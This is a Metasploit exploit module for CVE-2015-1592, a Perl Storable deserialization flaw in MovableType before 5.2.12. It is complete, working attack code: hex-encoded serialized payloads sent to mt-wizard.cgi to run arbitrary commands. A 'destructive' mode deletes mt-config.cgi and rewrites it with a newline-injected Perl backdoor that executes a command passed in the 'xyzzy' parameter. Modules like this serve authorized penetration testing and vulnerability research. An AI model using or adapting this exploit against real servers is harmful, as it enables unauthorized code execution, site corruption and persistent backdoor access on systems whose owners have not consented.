class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
  super(update_info(info,
    'Name'           => 'SixApart MovableType Storable Perl Code Execution',
    'Description'    => %q{
        This module exploits a serialization flaw in MovableType before 5.2.12 to execute
        arbitrary code. The default nondestructive mode depends on the target server having
        the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
        The destructive mode of operation uses only required MovableType dependencies,
        but it will noticeably corrupt the MovableType installation.
    },
    'Author'         =>
      [
        'John Lightsey',
      ],
    'License'        => MSF_LICENSE,
    'References'     =>
      [
        [ 'CVE', '2015-1592' ],
        [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
      ],
    'Privileged'     => false, # web server context
    'Payload'        =>
      {
        'DisableNops' => true,
        'BadChars'    => ' ',
        'Space'       => 1024,
      },
    'Compat'         =>
      {
        'PayloadType' => 'cmd'
      },
    'Platform'       => ['unix'],
    'Arch'           => ARCH_CMD,
    'Targets'        => [['Automatic', {}]],
    'DisclosureDate' => 'Feb 11 2015',
    'DefaultTarget'  => 0))

  register_options(
    [
      OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
      OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
    ], self.class
  )

end
def check
  vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
  res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
      }
    })

  unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
    vprint_status("Failed XXXCHECKXXX.pm load test");
    return Exploit::CheckCode::Safe
  end
  Exploit::CheckCode::Vulnerable
end

def exploit
  if datastore['DESTRUCTIVE']
    exploit_destructive
  else
    exploit_nondestructive
  end
end
def exploit_nondestructive
  print_status("Using nondestructive attack method")
  config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
  config_payload <<  payload.encoded.unpack('H*')[0]
  config_payload << "7d293b"
  config_payload << "23" * (1025 - payload.encoded.length)
  config_payload << "0a657869743b"

  print_status("Sending payload (#{payload.raw.length} bytes)")

  send_request_cgi({
    'method'    => 'GET',
    'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
    'vars_get' => {
      '__mode' => 'retry',
      'step'   => 'configure',
      'config' => config_payload
    }
  }, 5)
end

def exploit_destructive print_status("Using destructive attack method") # First we need to delete mt-config.cgi using the storable injection

  print_status("Sending storable injection to unlink mt-config.cgi")

  res = send_request_cgi({
    'method'    => 'GET',
    'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
    'vars_get' => {
      '__mode' => 'retry',
      'step'   => 'configure',
      'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
    }
  })

  if res && res.code == 200
    print_status("Successfully sent unlink request")
  else
    fail_with(Failure::Unknown, "Error sending unlink request")
  end

  # Now we rewrite mt-config.cgi to accept a payload

  print_status("Rewriting mt-config.cgi to accept the payload")

  res = send_request_cgi({
    'method'    => 'GET',
    'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
    'vars_get'  => {
      '__mode'             => 'next_step',
      'step'               => 'optional',
      'default_language'   => 'en_us',
      'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
      'set_static_uri_to'  => '/',
      'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
    }
  })

  if res && res.code == 200
    print_status("Successfully sent mt-config rewrite request")
  else
    fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
  end

  # Finally send the payload

  print_status("Sending payload request")

  send_request_cgi({
    'method'    => 'GET',
    'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
    'vars_get'  => {
      'xyzzy'   => payload.encoded,
    }
  }, 5)
end